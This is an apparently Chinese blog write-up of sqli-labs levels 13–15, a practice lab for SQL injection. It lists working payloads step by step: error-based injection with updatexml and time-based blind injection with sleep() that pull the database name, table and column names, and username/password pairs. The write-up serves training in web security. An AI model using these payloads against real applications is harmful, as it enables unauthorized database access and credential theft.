sqli-labs 13-15

less-13

1.输入‘)尝试闭合,发现报错说明存在注入点

2.输入其他字符没有其他的页面显示,因此使用报错注入。输入’)#闭合。

3.输入123') and updatexml(1,concat(1,(select database())),1) #得到数据库名。

4.输入123') and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) #页面显示结果超出一行无法显示。

5.输入123') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#使用group_concat函数将结果合为一条数据输出。

6.输入123') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#得到users表中的所有字段。

7.输入123') and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1)#发现数据显示不完全。

8.输入123') and updatexml(1,concat(1,(select concat_ws('~',username,password) from users limit 0,1)),1)#

limit 1,1查询第二条数据

limit 2,1查询第三条数据

limit 3,1查询第四条数据

...................

less-14

1.输入‘)尝试闭合,发现页面报错。

2.输入其他字符没有其他的页面显示,因此确定报错注入,输入"#闭合。

3.按照上一关报错流程输出数据。

less-15

1.不管输入什么,都显示一种页面,因此使用时间盲注。输入1' and sleep(2)#,页面延时2s显示,因此确定闭合。

2.输入1' and if(length(database())=8,sleep(2),1)#,页面延时2s,确定数据库字符长度为8。

3.输入1' and if(ascii(substr(database(),1,1))>1,sleep(2),1)#使用二分法判断数据库第一个字符.

4.输入1' and if(ascii(substr(database(),1,1))>115,sleep(2),1)#,判断第一个字符为s.

5.输入1' and if(ascii(substr(database(),2,1))>1,sleep(2),1)#

1' and if(ascii(substr(database(),3,1))>1,sleep(2),1)#

1' and if(ascii(substr(database(),4,1))>1,sleep(2),1)#

1' and if(ascii(substr(database(),5,1))>1,sleep(2),1)#

1' and if(ascii(substr(database(),6,1))>1,sleep(2),1)#

.............

判断数据库的其他字符。

为security

6.

输入1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1,sleep(2),1)#判断第一个表的第一个字符。

7.

输入1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>1,sleep(2),1)#判断第一个表的第二个字符。以此类推获得第一个表的名称。得到需要的那张表名为users

8.

输入1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1,sleep(2),1)#判断其表中第一个字段的第一个字符。

9.

输入1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))>1,sleep(2),1)#判断其表中第一个字段的第二个字符。以此类推,得出第一个字段。

10.

按照相同方式得出所有的字段。我们所需要的字段为username和password。

11.

输入?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>1,sleep(2),1)--+判断password的第一个字段的第一个字符。

12.以此类推得出password和username的所有字段。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值